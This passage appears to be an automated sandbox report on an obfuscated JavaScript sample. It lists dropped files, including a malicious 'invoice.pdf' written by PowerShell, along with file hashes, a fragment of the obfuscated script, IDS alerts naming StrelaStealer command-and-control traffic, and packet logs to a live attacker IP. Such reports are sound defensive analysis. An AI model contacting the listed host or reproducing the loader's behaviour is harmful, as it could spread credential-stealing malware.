Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\9925e8de-6844-4557-83a9-4b8c56e8a418.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17858), with CRLF line terminators
Entropy (8bit):	4.896915121112561
TrID:
File name:	31068282522384212209.js
File size:	21'177 bytes
MD5:	85889c07e0efd9a6684cad77a30dca69
SHA1:	28d0969d8f8f39d4263bdfd02b6aeb20592f2410
SHA256:	c2eabbfd96def260fe1ba4f8a7d922cc74fe41efaf6a42aabfa1d8b77e421778
SHA512:	d68aa08fee10b8525173ee1fa0c06f00e9030466626ce75160f5a81725add4b60539facf9fc22d0016aee9c75dbaff772471fc28b7baba7f920ad6b1c72522d5
SSDEEP:	384:CyKCsu1uC/RYxHcksKS29Bxf5AMtTjADDK45Y/mBbPYq4uBp4qYZaBHIdF:CrCVUCOtcksKS29Bxf5AMtTjADDK45Yz
TLSH:	1D9265E454419EAE9BC04AB9919309D2373C91CCBA74C90D28A771CD1F46FB1A3F6B36
File Content Preview:	function rytgp(){vftenuhxi=[1031,3079,5127,4103,2055,3072];var nsfugfues=this[yoijei+rzvwunyrl+sxsthdz+pmlvs+asjlk+hikxad+jrjkcxp+cpctfe](this[glvqr+qwkxtcrj+jzytbltlg+sxsthdz+zxmtd+yoijei+cpctfe][dhktjzj+sxsthdz+asjlk+rzvwunyrl+cpctfe+asjlk+rbeemyxvn+ymh

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:48:07.795205+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T03:48:07.795205+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T03:48:10.420505+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:48:07.012531996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.017384052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.017453909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.039985895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.044816017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.795022964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.795042992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.795058012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.795074940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.795089006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.795100927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.795114994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.795205116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.795288086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.795499086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.795511961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.795525074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.795553923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.795589924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.838022947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.838043928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.838058949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.838179111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.920120001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.920149088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.920262098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.920274973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.920286894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.920300007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.920299053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.920332909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.920351028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.920857906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.920871973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.920885086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.920902967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.920921087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.920972109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.921422958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.921463966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.921483040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.921495914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.921509981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.921515942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.921539068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.922317982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.922336102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.922349930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.922354937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.922367096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.922370911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.922401905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.922440052 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.924760103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.924771070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.924849033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.963255882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.963284016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.963359118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.963375092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.963390112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:07.963412046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:07.963462114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.007114887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.007132053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.007200003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.045404911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.045418024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.045452118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.045495033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.045507908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.045519114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.045552015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.045624971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.045907021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.045928001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.045939922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.045968056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.046273947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.046291113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.046314001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.046325922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.046331882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.046339035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.046351910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.046364069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.046364069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.046386957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.046407938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.047139883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.047152996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.047173023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.047184944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.047194004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.047197104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.047209978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.047230959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.047233105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.047256947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.048082113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.048099041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.048111916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.048127890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.048137903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.048139095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.048152924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.048166037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.048228979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.048228979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.048228979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.048896074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.048927069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.048940897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.048955917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.048969030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.048975945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.048980951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.048995018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.049000025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.049036980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.049940109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.049956083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.049968958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.049989939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.050024986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.050091982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.050113916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.050159931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.088747025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.088766098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.088778019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.088794947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.088809013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.088875055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.088888884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.088891029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.088903904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.088937044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.088967085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.132309914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.132329941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.132344007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.132366896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.132431984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.132488966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.132525921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.171302080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171348095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171370983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171401978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.171415091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171430111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171442032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.171448946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171468019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171480894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.171508074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171531916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.171555996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171569109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171581030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171607018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.171694994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.171758890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171789885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171802998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171844006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171853065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.171855927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.171878099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.172168970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172182083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172194958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172209978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172214031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.172245979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.172401905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172466993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.172501087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172517061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172528982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172540903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172553062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.172554970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172570944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172588110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.172611952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.172641993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172656059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172668934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172683001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.172697067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.172728062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.173373938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.173387051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.173399925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.173413038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.173432112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.173433065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.173446894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.173449993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.173471928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.173486948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.173491001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.173506975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.173518896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.173535109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.173549891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.173551083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.173587084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.173603058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.174242020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.174256086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.174268007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.174288988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.174302101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.174309969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.174316883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.174329996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.174343109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.174343109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.174374104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.174392939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.174407959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.174420118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.174426079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.174433947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.174494028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.175177097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.175194025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.175260067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.175853968 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.176246881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.176273108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.176286936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.176305056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.176363945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:48:08.176405907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.176475048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.176487923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.176501036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 03:48:08.176515102 CET	80	49704	193.143.1.205	192.168.2.8
